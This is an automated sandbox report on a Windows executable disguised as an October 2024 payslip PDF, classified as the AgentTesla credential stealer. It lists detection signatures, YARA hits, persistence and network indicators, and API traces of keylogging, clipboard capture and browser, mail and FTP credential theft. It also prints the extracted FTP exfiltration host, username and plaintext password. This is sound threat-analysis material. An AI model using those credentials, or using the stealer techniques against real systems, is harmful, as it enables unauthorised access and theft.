Edit tour

Windows Analysis Report
Payslip_October_2024_pdf.exe

Overview

General Information

Sample name:	Payslip_October_2024_pdf.exe
Analysis ID:	1548160
MD5:	00d35f16da780121846ac5345e6fddd5
SHA1:	dc1610ef8a4f55cccf4ebabd3517b9b5706ff262
SHA256:	30f53c188f4ca288bab139778eb5426ee3db92ddc779c8df149b501334dd8dbb
Tags:	AgentTeslaexeuser-threatcat_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Initial sample is a PE file and has a suspicious name

Installs a global keyboard hook

Machine Learning detection for sample

Maps a DLL or memory area into another process

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Payslip_October_2024_pdf.exe (PID: 6992 cmdline: "C:\Users\user\Desktop\Payslip_October_2024_pdf.exe" MD5: 00D35F16DA780121846AC5345E6FDDD5)

RegSvcs.exe (PID: 7040 cmdline: "C:\Users\user\Desktop\Payslip_October_2024_pdf.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

sgxIb.exe (PID: 3448 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 2676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sgxIb.exe (PID: 4076 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 3332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.haliza.com.my", "Username": "origin@haliza.com.my", "Password": "JesusChrist007$"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.4109255409.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4109255409.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.4109255409.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f7c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35078:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3510a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35174:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3527c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3530c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x32170:$s2: GetPrivateProfileString 0x317fa:$s3: get_OSFullName 0x32f6b:$s5: remove_Key 0x33157:$s5: remove_Key 0x34075:$s6: FtpWebRequest 0x34f5e:$s7: logins 0x354d0:$s7: logins 0x38227:$s7: logins 0x38293:$s7: logins 0x39d12:$s7: logins 0x38e2d:$s9: 1.85 (Hash, version 2, native byte-order)
00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Payslip_October_2024_pdf.exe PID: 6992	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Payslip_October_2024_pdf.exe PID: 6992	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 7040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7040	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3317c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x331ee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33278:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3330a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33374:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x333e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3347c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3350c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x30370:$s2: GetPrivateProfileString 0x2f9fa:$s3: get_OSFullName 0x3116b:$s5: remove_Key 0x31357:$s5: remove_Key 0x32275:$s6: FtpWebRequest 0x3315e:$s7: logins 0x336d0:$s7: logins 0x36427:$s7: logins 0x36493:$s7: logins 0x37f12:$s7: logins 0x3702d:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f7c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35078:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3510a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35174:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3527c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3530c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x32170:$s2: GetPrivateProfileString 0x317fa:$s3: get_OSFullName 0x32f6b:$s5: remove_Key 0x33157:$s5: remove_Key 0x34075:$s6: FtpWebRequest 0x34f5e:$s7: logins 0x354d0:$s7: logins 0x38227:$s7: logins 0x38293:$s7: logins 0x39d12:$s7: logins 0x38e2d:$s9: 1.85 (Hash, version 2, native byte-order)
1.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f7c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35078:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3510a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35174:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3527c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3530c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x32170:$s2: GetPrivateProfileString 0x317fa:$s3: get_OSFullName 0x32f6b:$s5: remove_Key 0x33157:$s5: remove_Key 0x34075:$s6: FtpWebRequest 0x34f5e:$s7: logins 0x354d0:$s7: logins 0x38227:$s7: logins 0x38293:$s7: logins 0x39d12:$s7: logins 0x38e2d:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 7040, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sgxIb

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-04T03:18:17.008684+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49735	TCP
2024-11-04T03:18:55.870238+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49741	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.haliza.com.my", "Username": "origin@haliza.com.my", "Password": "JesusChrist007$"}

Multi AV Scanner detection for submitted file

Source: Payslip_October_2024_pdf.exe	ReversingLabs: Detection: 28%
Source: Payslip_October_2024_pdf.exe	Virustotal: Detection: 19%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for sample

Source: Payslip_October_2024_pdf.exe

Joe Sandbox ML: detected

Source: Payslip_October_2024_pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49730 version: TLS 1.2

Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000001.00000002.4112075052.0000000005FDC000.00000004.00000020.00020000.00000000.sdmp, sgxIb.exe, 00000002.00000000.1791693270.0000000000952000.00000002.00000001.01000000.00000006.sdmp, sgxIb.exe.1.dr
Source:	Binary string: wntdll.pdbUGP source: Payslip_October_2024_pdf.exe, 00000000.00000003.1663755370.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, Payslip_October_2024_pdf.exe, 00000000.00000003.1664215484.00000000034D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Payslip_October_2024_pdf.exe, 00000000.00000003.1663755370.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, Payslip_October_2024_pdf.exe, 00000000.00000003.1664215484.00000000034D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, 00000001.00000002.4112075052.0000000005FDC000.00000004.00000020.00020000.00000000.sdmp, sgxIb.exe, 00000002.00000000.1791693270.0000000000952000.00000002.00000001.01000000.00000006.sdmp, sgxIb.exe.1.dr

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D04696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00D04696
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00D0C9C7
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0C93C FindFirstFileW,FindClose,	0_2_00D0C93C
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D0F200
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D0F35D
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00D0F65E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D03A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D03A2B
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D03D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D03D4E
Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: 0_2_00D0BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00D0BF27

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 110.4.45.197 ports 50419,63088,65113,63754,59184,56050,1,56534,2,55832,54654,61005,54752,52797,54557,56907,60580,62290,53538,21

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 110.4.45.197:56534

Source: Joe Sandbox View	IP Address: 110.4.45.197 110.4.45.197
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: EXABYTES-AS-APExaBytesNetworkSdnBhdMY EXABYTES-AS-APExaBytesNetworkSdnBhdMY

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49741

Source: unknown

FTP traffic detected: 110.4.45.197:21 -> 192.168.2.4:49732 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 12 of 50 allowed.220-Local time is now 10:18. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D125E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00D125E2

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ftp.haliza.com.my

Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002D0C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002F2B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.haliza.com.my
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Payslip_October_2024_pdf.exe, 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Payslip_October_2024_pdf.exe, 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4108165874.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4109255409.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000001.00000002.4109255409.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.4:49730 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, SKTzxzsJw.cs

.Net Code: _71ZRqC1D

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D1425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00D1425A

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D14458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00D14458

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

0_2_00D1425A

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D00219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00D00219

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D2CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00D2CDAC

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Payslip_October_2024_pdf.exe.2fa0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000000.00000002.1674055866.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00CA3B4C
Source: Payslip_October_2024_pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Payslip_October_2024_pdf.exe, 00000000.00000000.1651569188.0000000000D55000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ddce3e6e-7
Source: Payslip_October_2024_pdf.exe, 00000000.00000000.1651569188.0000000000D55000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a4f4fd3e-9
Source: Payslip_October_2024_pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_22e99797-0
Source: Payslip_October_2024_pdf.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_78b52efc-2

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Payslip_October_2024_pdf.exe

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

Code function: 0_2_00D040B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,

0_2_00D040B1

Source: C:\Users\user\Desktop\Payslip_October_2024_pdf.exe

